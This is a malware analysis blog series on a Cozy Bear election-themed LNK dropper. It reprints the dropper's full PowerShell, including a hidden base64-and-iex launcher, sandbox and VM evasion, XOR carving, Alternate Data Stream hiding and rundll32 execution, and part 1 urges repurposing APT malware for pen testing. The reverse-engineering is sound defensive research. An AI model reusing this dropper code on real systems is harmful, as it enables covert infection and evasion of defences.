Bear’s election campaign – (3/4)

Now the fun begins. Using static analysis of the code we have extracted the two overtly malicious files which are stored as %APPDATA%\\Skype\\hqwhbr.lck” and the ADS PNG residing in the same directory %APPDATA%\\Skype\\hqwhbr.lck:schemas”.

The corresponding hashes I have for the files I carved out of the LNK are 57c627d68e156676d08bfc0829b94331 and cbf96820dc74a50a91b2b8b94376682a which are a match for the Volexity blog so that is a good sign. As I noted before, if you decide to jump in via dynamic analysis to get the two files you will not see the :schemas unless you view the directory in the command prompt and use the /R flag. Alternate Data Streams was created for compatibility with other OS’s, but the only time I have come across is it is for malware or forensics training.

Now that I have the files to look at, I usually start off by running FireEye’s excellent FLOSS tool which does the basic strings, but also does a few levels of un-encoding if it is using simple routines. Running the tool with the -i flag also allows you to have a python script to run in IDA which will show the strings which are decoded. There is also support for RADARE if you are using that. Looking at the output from FLARE we see some interesting strings which lead us to believe that the backdoor is using HTTP/HTTPS for command and control or exfill. Not a big shocker, I’m not aware of much for malware these days that doesn’t fly right by your egress firewall rules by using 80/443.

For the sake of brevity, I will just paste the strings I found of interest. Inside the encoded function located at 0x402937 are browser strings, and some interesting ones which could potentially be related to the suspected TEA algorithm which we assume the PNG is saved as. We also see what I was hoping to find, “:schemas” referenced inside this function which will hopefully save us some time in locating the decoding routine for the PNG. Of note we also see some registry related paths and a reference to IAStorIcon which Volexity mentioned is the location where it achieves persistence in the registry. Three cheers to the girls and guys on the Flare team for creating this tool and open sourcing it to the community.


λ C:\Tools\floss-1.3.0\floss.exe C:\Users\thomas\Desktop\hqwhbr.lck -g -i floss.py

FLOSS decoded 48 strings

Decoding function at 0x402937 (decoded 48 strings)

Mozilla\Firefox\Profile
user_pref("network.proxy.http_port",
Use HTTP=
HTTP server=
LoadLibraryA
VirtualAlloc
VirtualFree
GetProcessHeap
HeapAlloc
SUVW1
_^][
default
prefs.js
Opera\Opera
operaprefs.ini
VWS1
u#j@h
\IAStorIcon
SOFTWARE\\Microsoft
note_window_management_procedure
accepted-
1.1.1.1
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
:schemas

SOFTWARE\Microsoft\Windows\CurrentVersion\Run
rundll32 "%s", #2

FLOSS extracted 4 stackstrings
VAadvapi32.dll
winhttp.dll
shell32.dll
AAA:
Wrote IDAPython script file to C:\Users\thomas\floss.py

Loading the .lck DLL into IDA and then running the floss.py script against it works with just a few stack string errors which we won’t worry about. We can see from the FLOSS output that the tool has identified 0x402937 as the location of the decoding routine for the strings. Pulling up the graph for the function we can see what is going on with the xor loop.
strings_decode

The corresponding C pseudo code for this XOR routine via the HexRays Decompiler:

char __stdcall sub_402937(int a1, int a2)
{
  _BYTE *v2; // esi@1
  int v3; // edi@1
  int v4; // ecx@1
  char result; // al@2

  v2 = (_BYTE *)(a2 - 1);
  v3 = a2 - 1;
  v4 = a2 - a1;
  do
  {
    result = *(_BYTE *)(v3 - 2) ^ *(_BYTE *)(v3 - 1) ^ *v2;
    *v2-- = result;
    --v3;
    --v4;
  }
  while ( v4 );
  return result;
}

Alrighty, so we have determined how FLARE got the decoded strings, but we still need to apply the decoding routine to the whole block of code, not just guessing at functionality from a few decoded strings. Who knows what else is in there if we don’t decode it? Now that we figured out the XOR decoding routine function, we can look at XREF’s to see what calls this function and what arguments are passed to it. From the pseudocode we can tell that we are looking for two arguments (int a1, int a2) which are most likely the start and end of the section to decode.

Right clicking on our function name and clicking on “xrefs to XOR_routine” we can see that two other functions call on it. Looking at the cldsys_2 function we can see two arguments being pushed onto the stack to be passed to the routine.

arguments

As we predicted we are seeing two memory locations being passed to the XOR routine, and the do loop counts down with the total loop count being the difference between the memory addresses. So we can expect the count to run (0x401DA3-0x40146A) or (0x939) times which is the length of the encoded section. Next I need to carve out the section which I will use with a custom python script to decode. Something that stumped me for a minute and a coworker helped me with was to find that location in a hex editor. Remember the .lck file is a DLL so it is being loaded into a different address space inside IDA versus just viewing it in a hex editor. That being said we know the difference between the start and end will be the same, it is just the offset that differs. As a quick and easy workaround I did the following. (Note: there has to be an easy way to do this inside IDA, but I don’t know how and the hex editor native to IDA is horrible…) Inside IDA go to the first memory location (0x40146A) and take a look at all the encoded glory.

encoded

Now I am going to copy the first row which should be enough to get me a unique string to search for inside my hex editor of choice (Personal favorite is 010).

Inside IDA loaded through a DLL at 0x40146A…
encoded

After searching for the corresponding string inside 010 we find the same location to be at 0x86A.
encoded2

So now we know that the offset is 0x400C00, but we just want to carve the difference between the start and stop which doesn’t vary between the programs. Inside 010 we do a “select range” (start: 0x86A Size: 0x939) and save it to a new file named encoded.bin.
b4

Now it’s time to make our python utility to decode the encoded.bin file. We are at a bit of an advantage since we already know what the C pseudo code looks like for the routine. According to the XOR decoding routine pseudocode each byte is going to be XOR encoded by first the byte two to the left, and then one to the left. I came up with the following python script which decodes the encoded.bin file.

#!/usr/bin/python
import sys

def main():
	b = bytearray(open(encrypted, 'rb').read())
	r = len(b) -1
	print r

	while (r > 2):
	    b[r] = b[r] ^ b[r-2] 
	    b[r] = b[r] ^ b[r-1]
	    r = r-1
	open('output.bin', 'wb').write(b)

if len(sys.argv) != 2:
	print "Enter the encrypted filename as your argument."
	sys.exit(0)

else:
	encrypted = sys.argv[1]
	"Check your directory for the output.bin file"

if __name__ == '__main__':
	main()

Great success!

after

I think this article went on long enough so I will call it a day.

Bear’s election campaign – (2/4)

Continuing the assessment of the Cozy Bear election day campaign mentioned by Volexity. I will be looking at this password protected zip file f79caf27a99c091e6c1775b306993341. This post is focusing on static analysis to get the files to analyze, with the next post focusing on static analysis of the binary itself.

To begin I went ahead and XOR decoded the whole file with the XOR key 41 since we already know that was the key used on most of the files inside the LNK. Browsing through the file for things of interest a few things jump out, an MZ header, a PNG header, and what appears to be an actual RTF file. The Bears have typically used PNG files with encoded binaries inside them as a next stage dropper. Even if you are doing deep packet inspection at the perimeter you are likely to not trigger on an encoded image file coming off of a web server. What seems odd is that this PNG file will already be on disk inside the same blob that contains the DLL, so it is not as though it is hiding. Likely this is to evade AV signatures, and make it harder to figure out what the C2 and full functionality is. If an AV triggers on the file and uploads it to their servers for analysis it may pull the actual DLL file up, but miss out on all the run time data which is being carved out of this fake image file. Since the Bears are known to use the TEA algorithm we will likely have to reverse a routine inside the malware to see if we can pull out the decoding routine being applied to this fake PNG image. Alternatively, we will also run the malware and see if any hooks are inside the PNG data with decoded commands in memory. Sometimes dynamic analysis will save a bit of time over static if we are trying to do this quickly for our companies/clients defensive measures such as DNS/IP blocks.

Looking at the additional Powershell script that was carved out of the bottom of the LNK file and base64 decoded we can see what appears to be the locations to carve out including the decoy document. Many malware writers will focus on the dropper, but completely cut corners when it comes to the decoy which is truly a sign of a Non-Advanced Persistent Threat. It is the authors opinion that if you are a nation state actor and you are using the 2012-0158 CVE and a blank page decoy you should quit “cyber”. Do something better with your “cyber warriors” like have them troll the opposition on Twitter or typo squat with a rick roll redirect. Now that I got that rant off my chest lets look at the Powershell code.

$acc = [IO.FileAccess]::READ
$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;

detect_susp_environ

$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

We can see the RTF being carved out, but we aren’t concerned enough to carve that file after we look at it in hex and determine that it is just a decoy. We can see the detect_susp_environ function being called, which is looking for a score greater than 3 at which point heat_proc function is called and the script will exit with a normal termination exit code 0 effectively halting the dropper routine at this point. The scoring was based on some pretty simple stuff such as admin users, BIOS strings for virtualbox/vmware, virtual ethernet adapters, process explorer, task manager, wire shark, etc. Some of the more anti analysis orientated malware searches for hashes of values that it is looking for which makes it a bit more difficult to find what it is looking for, but this is effective enough to avoid most sandbox analysis environments which was the goal. The enterprise shift to automated sandbox analysis has created a common goal of clearing that as the thresh hold. Evading analysis by a talented reverse engineer is such a pain to do that it is rarely worth the effort since at that point your C2 has likely already been extracted via dynamic analysis.

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    }
    Exit 0
}

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {
        heat_proc
    }
}

Once we get past the detection routine it is time to do some manual analysis of what is getting carved and placed onto disk for execution.

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"

$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"
}

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
$fs.Close()
&"rundll32.exe" "$cfpath," "#2"

Of interest to us is $cfpath because we see that it is being launched through the windows program “rundll32.exe” which is the standard way to run a DLL file. So we know that the %APPDATA%\\Skype\\hqwhbr.lck” is actually a DLL which will have a MZ header inside the large LNK file. Here is the $cfpath with variables replaced by values.

$cfpath = pl_dropper $lnkfd 0x0dac (0x37ac – 0x0dac) “%APPDATA%\\Skype\\hqwhbr.lck”, with $lnkfd being equal to the memory space of the entire LNK file which was in the password protected zip.

The math simplifies to a carve for the hqwhbr.lck file starting at 0x0DAC and extending in length 0x2A00 long. After my carve and XOR’ing it with the key of 41 I verify an executable header (MZ) to make sure I didn’t screw up on the math.
mz The hash I have for this file hqwhbr.lck is 57c627d68e156676d08bfc0829b94331 which matches what the Volexity blog lists.

The next carve is to the same path of “%APPDATA%\\Skype\\”, but the destination file is being appended with a :schemas. This may jump out to you if you have ever gone through forensics training, if it doesn’t then don’t feel bad considering it had been awhile since I have seen it as well.

The method of hiding data is called an Alternate Data Stream or ADS, and the typical example given during classes is as follows. User A creates a file with a bunch of filler text called blah.txt. That user also has something they want to keep secret from prying eyes so in the command line they put the data into the ADS of that file which the average user will never see even if they get the file.

Here is a screenshot I made that shows the gist of the premise.
ads

Alternatively, the venerable sysinternals suite has a program called streams.exe which can recursively look for ADS on your system. It easily finds it on my secret text file as shown in the following screenshot.
ads2
So in practice with this malware what we see is a DLL file being saved to disk as “%APPDATA%\\Skype\\hqwhbr.lck”, and then a fake image PNG carved out starting at 0x37AC is being placed in the same directory as an Alternate Data Stream. “%APPDATA%\\Skype\\hqwhbr.lck:schemas”
The DLL is only 10.7kb in size, and the ADS PNG is 547.6kb in size so we can assume a fair amount of this droppers functionality is hidden inside the ADS which I might add is still completely encrypted.

Carving out the ADS/PNG, inside 010 we do a “Select Range” from 0x37AC to 0x892E0.

892e0h-37ach
>>> Result = 547636 [85B34h]

Here we can see the beginning of the PNG carve which we will then paste into a new binary file and XOR with the key 41 before saving. png Hashing this file gives us 26631625d8e4e09163f349bed8126ff1 which at the time of writing had not been submitted to VirusTotal.

Now we have our two likely malicious files so we are ready to go for the next post on analyzing the binaries.

Bear’s election campaign – (1/4)

In the wake of the 2016 United States Presidential Election, not even six hours after Donald Trump became the nation’s President-Elect, an advanced persistent threat (APT) group launched a series of coordinated and well-planned spear phishing campaigns. Volexity observed five different attack waves with a heavy focus on U.S.-based think tanks and non-governmental organizations (NGOs). These e-mails came from a mix of attacker created Google Gmail accounts and what appears to be compromised e-mail accounts at Harvard’s Faculty of Arts and Sciences (FAS). – Volexity ( http://www.volexity.com/blog/)

This is part 1 of likely a multi part look at Cozy Bear and how to learn from them to make your RedCell/Penetration testing more “real world” by emulating them. To the point of re-purposing their malcode for yourself. So many pen testing teams rely heavily on the open source tools msfvenom/PowerShell empire/mimikatz, etc, but don’t go to the source and directly rip off the malware from APT’s and criminal organizations. I figure, why reinvent the wheel?

This is the one particular zip and contents that I am looking at. Screenshot via Volexity blog.
volexity_writeup

Our first hurdle is to get the payload out of the password protected zip. Usually they put the PIN in the message body of the phish email with some sort of bs info such as “use this to get your confidential document.” However, if we are pulling the malware off of a site like VirusTotal we don’t have access to that PIN/password. This is common with current ransomware phishing emails as well. I’ve never seen this payload type used, but I suspect that we will shortly. In the past both the APT’s and Ransomware pushers have been heavily reliant on scripts and macro docs to get the dropper to disk. The benefits of this sample would be that the script doesn’t have to go out and pull down malware, it is already all embedded in the one file.

Onto cracking the PIN even though Volexity lists it. We will pretend we don’t have it for the sake of the article.

Generate a PIN possibility wordlist via crunch.
root@kali:~# crunch 2 5 0123456789 > ~/Desktop/pin_combos_2_5.txt

crunch

Now that we have a sufficient pin list we move onto cracking the zip via fcrackzip in kali2.
root@kali:~/Desktop# fcrackzip -v -D -u -p pin_combos_2_5.txt '/root/Desktop/37486.ZIP'

cracked

Now we have our new PIN 6190, so lets pull out the LNK file and verify with the hex editor what is going on before digging in. Yup… Powershell referenced immediately as an argument to a LNK file.
file_type

Here’s what it looks like on the Windows side of the house. One thing should be a give away. A shorcut file that is over half a mb large. A legit shortcut is smaller than one kb.
shortcut

Here’s something I can’t wrap my brain around. As of 11/11 the zip file is scoring 2/55 on VT, and the actualy payload once you pull it out… is getting ZERO detections. I am guessing that the two AV’s detecting the zip are purely going off hash values since they are relatively no name AV companies.
vti_zip
vti_lnk

Summation of how this dropper gets to disk.

  • LNK file is large, pretends to point to an RTF with a bs tagline about the election
  • LNK actually points to Powershell and feeds it a base64 string to decode
  • That Powershell carves out from the big LNK file an additional base64 section at the bottom which is more Powershell
  • That script does some vm detection, looks for a typical sandbox environment, etc.
  • If it “scores” low enough an executable section of the LNK is carved out, xor decoded (key is 41), and then run via rundll32 with the argument #2
  • File is saved as a .lck in %APPDATA\Roaming\Skype\” and persistence via the registry RUN key
  • User is presented with a carved out RTF with a real article to keep them from being suspicious.

So once we have extracted the LNK file and start digging we immediately discover something clever.

This article initially is just focusing on the unique drop method, and not the Cozy Dukes backdoor.

Starting off, we right click on the LNK file and look at the “target” property which under normal circumstances would point to the RTF file it pretends to link to. What we find is the following code. Since we see the PowerShell code isn’t finished off with the ‘) we look into a hex editor and pull out the rest.

via target attribute

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdna

via hex editor we get the whole thing…

C:\Windows\System32\WindowsPowerShell\v10\powershellexeK\\\\\\\Windows\System32\WindowsPowerShell\v10\powershellexe÷-noni -ep bypass -win hidden $s = [TextEncoding]::ASCIIGetString([Convert]::FromBase64String('JG9zPTB4MDAwOWZkZGE7JG9lPTB4MDAwYTE5MTY7JGY9IjM3NDg2LXRoZS1zaG9ja2luZy10cnV0aC1hYm91dC1lbGVjdGlvbi1yaWdnaW5nLWluLWFtZXJpY2EucnRmLmxuayI7aWYgKC1ub3QoVGVzdC1QYXRoICRmKSl7JHggPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRFbnY6dGVtcCAtRmlsdGVyICRmIC1SZWN1cnNlO1tJTy5EaXJlY3RvcnldOjpTZXRDdXJyZW50RGlyZWN0b3J5KCR4LkRpcmVjdG9yeU5hbWUpO30kaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7JHggPSBOZXctT2JqZWN0IGJ5dGVbXSgkb2UtJG9zKTskaWZkLlNlZWsoJG9zLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRpZmQuUmVhZCgkeCwwLCRvZS0kb3MpOyR4PVtDb252ZXJ0XTo6RnJvbUJhc2U2NENoYXJBcnJheSgkeCwwLCR4Lkxlbmd0aCk7JHM9W1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHgpO2lleCAkczs='); iex $s;

Decoded via python (base64.b64decode(‘arg’)) the base64 string decoded and formatted is as follows:

$os=0x0009fdda;
$oe=0x000a1916;
$f="37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk";
if (-not(Test-Path $f))
{
    $x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName);

}
    $ifd = New-Object IO.FileStream $f,\'Open\',\'Read\',\'ReadWrite\';
    $x = New-Object byte[]($oe-$os);
    $ifd.Seek($os,[IO.SeekOrigin]::Begin);
    $ifd.Read($x,0,$oe-$os);
    $x=[Convert]::FromBase64CharArray($x,0,$x.Length);
    $s=[Text.Encoding]::ASCII.GetString($x);
    iex $s;'

The powershell script is streaming data from the lnk file to create a new object. It is reading in from $oe-$os or 0x000a1916-0x0009fdda, and then base64decoding and running it. Inside our hex we go to a1916 which is the end, and then go back to 9fdda which is the beginning of the carve.

It’s all pretty straight forward and does what I mentioned above, some sandbox/vm checks, and then carving out the malicious dropper and putting it in %APPDATA%\\Skype\\hqwhbr.lck, along with persistence. You can see where it is carving out the .lck file which is the dropper and xor decoding it with the key 41. I found the key quickly using XORsearch because I didn’t read the code first. Lazy, or efficient? Not sure… Either way, if you don’t heavily use Didier’s tools you should. https://blog.didierstevens.com/programs/xorsearch/ All of his tools are gold, and he is one productive guy.

This script is not the creative part in this campaign, it is the method of making a LNK link to powershell and then carve out of itself which I haven’t seen. This LNK file is still getting a 0 on VT. The dropper hasn’t been uploaded to VTI yet and I wasn’t going to be the first but I would imagine it is still fairly low since the C2 and URL related commands are all encoded in the binary until run time. I’ll dig into that during a later post, but it is fairly well documented for this actor.

After decoding, and prettying up the PowerShell we get the following code. Apologies if the brackets are occasionally in the wrong place, it was kind of a mess for me with find and replace.



function pl_dropper ($ifd, $os, $len, $dpath) {
    $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
    $pdir = Split-Path -Parent $dpath
    if ($pdir) {
        $b = Test-Path $pdir
    } 
    else {
        $b = $True
    }

  if (!$b) {
         New-Item -ItemType directory -Path $pdir | out-null
    }

    $name = Split-Path -Leaf $dpath

    $pathlist = @($dpath, "%APPDATA%\\$name", "%TEMP%\\$name")
    ForEach ($dpath in $pathlist) {

        $dpath = [Environment]::ExpandEnvironmentVariables($dpath)
        try {
            $ofd = [IO.File]::Open($dpath, [IO.FileMode]::OpenOrCreate, [IO.FileAccess]::Write);
        } 
        catch [Exception] {
            continue;
        }

        CopyFilePart $ifd $os $len $ofd
        $ofd.close()
        break

    }

    return $dpath

}

function CreateFile($path, $acc)

{

    $MethodDefinition = @\'
    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern Microsoft.Win32.SafeHandles.SafeFileHandle CreateFile(
        string fileName,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAccess fileAccess,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileShare fileShare,
        IntPtr securityAttributes,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileMode creationDisposition,
        [MarshalAs(UnmanagedType.U4)] System.IO.FileAttributes flags,
        IntPtr template);

\'@

    $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name \'Kernel32\' -Namespace \'Win32\' -PassThru

    $handle = $Kernel32::CreateFile($path, $acc,[IO.FileShare]::ReadWrite, 0,[IO.FileMode]::OpenOrCreate,[IO.FileAttributes]::Normal,0)

    $fs = New-Object IO.FileStream($handle, $acc)
    return $fs

}

function xor_decode($b, $l, $k) {
    for($i = 0; $i -lt $l; $i++) {
        $b[$i] = $b[$i] -bxor $k

    }

}

function CopyFilePart([IO.FileStream] $ifd, $os, $len, [IO.FileStream] $ofd)
{
    $tmpbuf = New-Object byte[] 8182
    $buflen = $tmpbuf.Length

    $ifd.Seek($os, [IO.SeekOrigin]::Begin) | out-null
    while ($len -gt 0) {
        $ifd.Read($tmpbuf, 0, $buflen) | out-null

      xor_decode $tmpbuf $buflen 0x41
        $ofd.Write($tmpbuf, 0, $buflen)
        $len -= $buflen
        if ($buflen -gt $len) {
            $buflen = $len

        }
    }
}

function get_susp_rating() {
    $score = 0

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_BIOS"
    ForEach ($x in $lst) {
        $tmp = $x.SMBIOSBIOSVersion.ToLower()
        if ($tmp.contains("virtualbox") -or $tmp.contains("vmware")) { $score += 2 }

        $tmp = $x.SerialNumber.ToLower()
        if ($tmp.contains("vmware")) { $score += 2 }
    }

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_PnPEntity"
    ForEach ($x in $lst) {
        if ($x.DeviceId.contains("PCI\\VEN_80EE&DEV_CAFE")) { $score += 2}
    }

    if ($score -gt 2) {return $score}
        $myarr = @("user", "admin", "administrator", "user1")

    $lst = gwmi -namespace root\\cimv2 -query "Select * from Win32_ComputerSystem"
    ForEach ($comp in $lst) {

if (!$comp.PartOfDomain) {
            $score += 1
        }

        $tmp = $comp.UserName.ToLower()
        if ($tmp.contains("admin")) {
            $score += 2
        }

        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 1
            }
        }
    }

    if ($score -gt 2) {return $score}

    $myarr = @("procexp.exe", "taskmgr.exe", "wireshark.exe")

    $lst = gwmi -namespace root\\cimv2 -query "SELECT * FROM Win32_Process"
    ForEach ($item in $lst) {
        $tmp = $item.ExecutablePath
        if (!$tmp) { $tmp = "" }
        $tmp = $tmp.ToLower()
        ForEach ($x in $myarr) {
            if ($tmp.contains($x)) {
                $score += 3

   }

        }

    }

    if ($score -gt 2) {return $score}
        $myarr = @("sample")

    $tmp = (Get-Item -Path ".\\" -Verbose).FullName
    ForEach ($x in $myarr) {
        if ($tmp.contains($x)) {
            $score += 1
        }
    }

    $nm = Split-Path -Leaf $x
    $l = $nm.Split(\'.\')[0].Length
    if ($l -eq 32 -or $l -eq 40 -or $l -eq 64) {
        $score += 3
    }
    return $score;
}

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    }
    Exit 0
}

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {
        heat_proc
    }
}


$acc = [IO.FileAccess]::READ

$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;
detect_susp_environ
$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"
$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"
}

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
$fs.Close()
&"rundll32.exe" "$cfpath," "#2"